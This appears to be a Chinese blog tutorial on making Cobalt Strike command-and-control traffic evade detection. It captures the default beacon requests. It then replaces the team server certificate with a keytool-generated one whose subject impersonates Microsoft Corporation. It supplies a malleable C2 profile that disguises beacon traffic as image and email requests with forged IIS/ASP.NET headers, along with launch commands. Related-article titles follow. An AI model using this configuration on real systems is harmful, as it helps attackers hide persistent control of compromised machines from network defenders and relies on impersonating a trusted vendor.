一、默认情况下的Cobalt Strike流量

首先,生成exe文件并上线
使用whireshark抓取数据包
查看一下默认配置下的Cobalt Strike,如下图所示

默认情况下会间隔一段时间,请求一次 http://192.168.32.131//7VFJ文件、http://192.168.32.131//j.ad文件

查看完整的http流,请求的http://192.168.32.131/7Vfj文件内容,请求http://192.168.32.131/j.ad文件内容



二、修改默认证书

Cobalt Strike默认证书中含有与cs相关的特征,安全设备均已设置检测规则,所以需要替换掉cs原有的证书,重新生成一个无特征的证书文件。

前提条件: 服务器上已安装java
使用jdk自带的keytools这个java证书管理工具来生成新的无特征证书。

步骤:
1、首先删除cobalt strike原有的证书:rm -rf cobaltstrike.store(或者xxxxxx.store 就是默认证书)
2、在Cobalt Strike当前目录生成一个无特征的证书,名字任意写
3、新建一个其它名字(与第2步骤中的名字相同),只需要在teamserver最后一行修改 -Djavax.net.ssl.keyStore=./new-name.store 即可

在Cobalt Strike当前目录生成一个无特征的证书,名字为new-name.store

#keytool -keystore 生成的store名 -storepass 密码 -keypass 密码 -genkey -keyalg RSA -alias 自定义别名 -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"keytool -keystore new-name.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias test.tk -dname "CN=Microsoft Windows, OU=MOPR, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"#修改证书标准并应用
keytool -importkeystore -srckeystore new-name.store -destkeystore new-name.store -deststoretype pkcs12


至此证书修改完成,使用命令: keytool -list -v -keystore new-name.store 可查看证书内容

修改teamserve加载新生成的证书new-name.store


之后启动teamserve,查看使用的证书正是生成的新证书new-name.store,修改默认证书成功

注意:
如果报错提示

[-] Trapped java.net.BindException during team server startup [main]: 地址已在使用 (Bind failed)
java.net.BindException: 地址已在使用 (Bind failed)

重启一下kali

三、混淆流量

接下来修改Beacon与cobalt strike通信时候的流量特征,创建一个c2.profile文件(名字任意),贴入以下从大佬那里偷过来的代码。

c2.profile文件内容:

https-certificate {set keystore "new-name.store";  #证书名字set password "123456";       #证书密码
}
#以上没有配置cloudflare的时候可以先不写http-get {set uri "/image/";client {header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";header "Referer" "http://www.google.com";header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉header "Pragma" "no-cache";header "Cache-Control" "no-cache";metadata {netbios;append ".jpg";  # 传输内容自动追加的后缀uri-append;}}server {header "Content-Type" "img/jpg";header "Server" "Microsoft-IIS/6.0";header "X-Powered-By" "ASP.NET";output {base64;  # 加密方式(base64、base64url、netbios、netbiosu)print;}}
}http-post {set uri "/email/";client {header "Content-Type" "application/octet-stream";header "Referer" "http://www.google.com"; header "Host" "apex1.tk";  #域名,还没有配置cloudflare的时候这一行注释掉header "Pragma" "no-cache";header "Cache-Control" "no-cache";id {netbiosu;append ".png";uri-append;}output {base64;print;}}server {header "Content-Type" "img/jpg";header "Server" "Microsoft-IIS/6.0";header "X-Powered-By" "ASP.NET";output {base64;print;}}
}

完整的profile文件下载地址:https://github.com/xx0hcd/Malleable-C2-Profiles(没有解释)

保存之后赋予服务端的c2lint执行权限:chmod 777 c2lint
然后输入:./c2lint c2.profile
输出如下图所示即为 c2.profile 配置成功


之后启动teamserve,使用新证书并且进行流量混淆

./teamserver 192.168.32.131 6666 c2.profile

1、生成exe上线并且使用https监听
使用wireshark抓取数据包,所有的通信流量都已经加密

2、生成exe上线并且使用http监听
使用wireshark抓取数据包,流量特征已经混淆,不在是请求http://192.168.32.131/7Vfj文件、http://192.168.32.131/j.ad文件,而是请求我们在c2.profile中编写的URL、UA等信息

Cobalt Strike-修改默认证书、混淆流量-教程相关推荐

  1. 告警流量分析:Cobalt Strike(默认实验文)

    文章目录 前言 从去除流量特征反推 分析流量包 200815084549005001_tmp.pcap - 无有用信息 200929112751005001_tmp.pcap - 无有用信息 流量包协 ...

  2. # Cobalt Strike: 使用进程内存解密流量-Part 3

    博客系列:Cobalt Strike:流量解密 Cobalt Strike:使用已知的私钥解密流量-Part 1 Cobalt Strike: 使用已知的私钥解密流量 - Part 2 Cobalt ...

  3. kubeadm修改默认证书有效期,解决证书过期问题

    kubeadm 修改默认证书有效期 前言 出于安全考虑,k8s 团队推荐定期更新版本,因此kubeadm生成的证书,有效期默认在代码中写死为1年,一旦证书过期,k8s集群将会崩溃,因此,续期 or 升 ...

  4. umijs 修改默认配置_UmiJS基础教程(2) 目录结构

    一个基础的 Umi 项目大致是这样的, .├── package.json├── .umirc.ts├── .env├── dist├── mock├── public└── src ├── .umi ...

  5. # Cobalt Strike:使用已知的私钥解密流量-Part 2

    博客系列:Cobalt Strike:流量解密 Cobalt Strike:使用已知的私钥解密流量-Part 1 Cobalt Strike: 使用已知的私钥解密流量 - Part 2(当前部分) C ...

  6. Cobalt Strike:使用已知的私钥解密流量 -Part 2

    Cobalt Strike:使用已知的私钥解密流量 -Part 2 博客系列:Cobalt Strike:流量解密 Cobalt Strike: 使用已知的私钥解密流量 - Part 2(当前部分) ...

  7. cobalt strike profile

    cobalt strike 配置解读 此处以最新版 jquery-c2.4.3.profile文件解析 适应Cobalt Strike 4.3 版本 其他版本会有标注 cobalt strike 4. ...

  8. 渗透工具-后渗透-权限维持-Cobalt strike

    Cobalt strike 渗透测试人员的先进威胁战术 英文名词翻译对照表 命令快查 Cobaltstrike简介 Cobaltstrike架构 信息收集模块System Profiler user- ...

  9. 域前置Cobalt Strike逃避IDS审计

    域前置Cobalt Strike逃避IDS审计 域前置简介 域前置(Domain Fronting)基于HTTPS通用规避技术,也被称为域前端网络攻击技术. 这是一种用来隐藏Metasploit.Co ...

最新文章

  1. git user name is not defined
  2. webservice 之 Java CXF实战效果 RS WS(二)
  3. 1096 Consecutive Factors (20 分)【难度: 一般 / 爆搜 数论】
  4. 20201125 《计算感知》武老师 第1节课 笔记
  5. 某人一定不会的——重口味线段树
  6. iPhone开发【一】从HelloWorld開始
  7. 腾讯自研分布式远程Shuffle服务Firestorm正式开源
  8. python 基类 派生类_在Python中具有两个子(派生)类的继承示例
  9. c语言goord函数,park、unpark、ord 函数使用方法(转)
  10. 2020各大网站rss订阅源地址_2020-20-18——DJANGO复习
  11. 004 Spark中的local模式的配置以及测试
  12. 强化学习实战(二)ubuntu16.04安装Anaconda、Gym和 Universe
  13. android把2变成02_【Android】学习札记第2章之数组二(Arrays工具类)
  14. flashcs3java_Flash CS3组件开发图文教程
  15. DNF单机版搭建(局域网、外网)
  16. matlab求解vrp问题遗传算法,vrp问题(遗传算法vrp问题)
  17. svg 右键意见删除cvs_一种实现svg自定义鼠标右键菜单的方法
  18. 安科瑞智慧消防在城市综合体中的应用
  19. npx create-nuxt-app myapp2 安装报错
  20. 利用XGBoost特征选择和堆叠集成分类器提高蛋白质-蛋白质相互作用预测精度

热门文章

  1. 天地图卫星地图在OpenLayers中的应用示例源码
  2. 单总线和多总线的区别
  3. opencv笔记(三)——调整运行窗口图片的大小
  4. 基于STM32F407+RFID的模拟公交车刷卡收费系统小项目
  5. Docker-PS基本命令解析
  6. AOV网络——初了解
  7. 素描 山_60秒内素描镜子
  8. 巴什博奕(Bash Game)入门
  9. bzoj 4398 福慧双修——二进制分组
  10. 推特开发者账号 申请失败 【推特爬虫技术分享1】获取推文评论数量